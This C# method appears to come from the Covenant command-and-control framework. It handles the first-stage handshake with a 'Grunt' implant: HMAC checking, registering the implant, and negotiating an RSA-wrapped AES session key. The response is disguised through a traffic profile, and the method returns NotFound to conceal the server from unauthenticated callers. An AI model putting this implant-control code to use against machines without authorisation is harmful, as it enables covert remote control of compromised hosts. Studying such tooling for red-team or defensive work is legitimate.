// stage0
private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
{
// Check if this Grunt ID is already active
API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id);
if (savedGrunt == null)
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
Covenant.Models.Grunts.Grunt realGrunt = null;
if (savedGrunt.Status != GruntStatus.Uninitialized)
{
savedGrunt.Status = GruntStatus.Stage0;
// We create a new Grunt if this one is not uninitialized
API.Models.Grunt tempModel = new API.Models.Grunt
{
Status = savedGrunt.Status,
ListenerId = savedGrunt.ListenerId,
CovenantIPAddress = savedGrunt.CovenantIPAddress,
GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword,
Delay = savedGrunt.Delay, Jitter = savedGrunt.Jitter,
ConnectAttempts = savedGrunt.ConnectAttempts,
DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion
};
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
else
{
savedGrunt.Status = GruntStatus.Stage0;
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt);
realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
// EncryptedMessage is the RSA Public Key
realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
gruntStage0Response,
Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
));
// Generate negotiated session key
Aes newAesKey = Aes.Create();
newAesKey.GenerateKey();
realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
CovenantClient.ApiGruntsPut(realGrunt.ToModel());
byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey));
Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
realGrunt,
rsaEncryptedBytes,
Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
);
string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
// Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
